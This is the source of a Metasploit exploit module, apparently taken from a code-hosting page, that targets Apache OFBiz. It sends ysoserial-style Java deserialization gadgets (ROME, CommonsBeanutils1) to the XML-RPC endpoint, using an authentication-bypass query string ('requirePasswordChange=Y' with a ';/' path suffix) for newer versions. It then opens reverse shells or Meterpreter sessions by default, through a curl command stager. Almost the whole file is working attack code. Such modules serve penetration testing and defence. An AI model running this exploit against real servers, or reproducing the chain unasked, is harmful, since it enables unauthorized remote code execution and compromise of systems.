Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_ofbiz_deserialization.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::JavaDeserialization1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Apache OFBiz XML-RPC Java Deserialization',19'Description' => %q{20This module exploits a Java deserialization vulnerability in Apache21OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for22versions prior to 17.12.01 using the ROME gadget chain.2324Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-5146725and use the CommonsBeanutils1 gadget chain.2627Verified working on 18.12.09, 17.12.01, and 15.1228},29'Author' => [30'Alvaro Muñoz', # Discovery31'wvu', # Exploit32'h00die' # cve-2023-4907033],34'References' => [35['CVE', '2020-9496'],36['CVE', '2023-49070'], # auth bypass update37['CVE', '2023-51467'], # auth bypass update38['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'],39['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'],40['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'],41['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass42],43'DisclosureDate' => '2020-07-13', # Vendor release note44'License' => MSF_LICENSE,45'Platform' => ['unix', 'linux'],46'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],47'Privileged' => false,48'Targets' => [49[50'Unix Command',51{52'Platform' => 'unix',53'Arch' => ARCH_CMD,54'Type' => :unix_cmd,55'DefaultOptions' => {56'PAYLOAD' => 'cmd/unix/reverse_python_ssl'57}58}59],60[61'Linux Dropper',62{63'Platform' => 'linux',64'Arch' => [ARCH_X86, ARCH_X64],65'Type' => :linux_dropper,66'DefaultOptions' => {67'CMDSTAGER::FLAVOR' => :curl,68'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'69}70}71]72],73'DefaultTarget' => 1,74'DefaultOptions' => {75'SSL' => true76},77'Notes' => {78'Stability' => [CRASH_SAFE],79'Reliability' => [REPEATABLE_SESSION],80'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]81}82)83)8485register_options([86Opt::RPORT(8443),87OptString.new('TARGETURI', [true, 'Base path', '/']),88])89end9091# attempt to determine the version number. This attempt is flawed on versions92# < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page93# doesn't exist on versions < 17, so we just return back 'pre-17'94def version_from_login_page95res = send_request_cgi({96'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc')97})98return nil if res.nil?99return 'pre-17' unless res.code == 200100# https://rubular.com/r/vputt9uJecevOk101if res.body =~ %r{Apache OFBiz\.</a> Release\s+(?:release)?([\d.]+)}102return Regexp.last_match(1).strip103end104105'unknown'106end107108def check109# Send an empty serialized object110res = send_request_xmlrpc('')111112return CheckCode::Unknown('Target did not respond to check.') unless res113114if res.body.include?('Failed to read result object: null')115@version = 'pre-17'116return CheckCode::Vulnerable('Target can deserialize arbitrary data.')117end118119# newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz120@version = version_from_login_page121122return CheckCode::Unknown('Target did not respond to check.') if @version.nil?123return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown'124125return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17'126return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11')127128CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable")129end130131def exploit132@version = version_from_login_page if @version.nil?133134print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")135136case target['Type']137when :unix_cmd138execute_command(payload.encoded)139when :linux_dropper140execute_cmdstager141end142end143144def execute_command(cmd, _opts = {})145vprint_status("Executing command: #{cmd}")146147if @version == 'pre-17'148vprint_status('Utilizing ROME deserialization chain')149res = send_request_xmlrpc(150# framework/webapp/lib/rome-0.9.jar151# used with 15.12, but not 18.12 compatible152generate_java_deserialization_for_command('ROME', 'bash', cmd)153)154else155vprint_status('Utilizing CommonsBeanutils1 deserialization chain')156res = send_request_xmlrpc(157# framework/webapp/lib/rome-0.9.jar158# used with 18.12 compatible, but not 15.12 compatible159generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both160)161end162163unless res && res.code == 200164fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")165end166167print_good("Successfully executed command: #{cmd}")168end169170def send_request_xmlrpc(data)171# http://xmlrpc.com/172# https://ws.apache.org/xmlrpc/173request = {174'method' => 'POST',175'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'),176'ctype' => 'text/xml',177'data' => <<~XML178<?xml version="1.0"?>179<methodCall>180<methodName>#{rand_text_alphanumeric(8..42)}</methodName>181<params>182<param>183<value>184<struct>185<member>186<name>#{rand_text_alphanumeric(8..42)}</name>187<value>188<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>189</value>190</member>191</struct>192</value>193</param>194</params>195</methodCall>196XML197}198199unless @version == 'pre-17'200request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/201request['vars_get'] = {202'USERNAME' => '',203'PASSWORD' => rand_text_alphanumeric(1..5),204'requirePasswordChange' => 'Y' # magic bypass string205}206end207208send_request_cgi(request)209end210211end212213214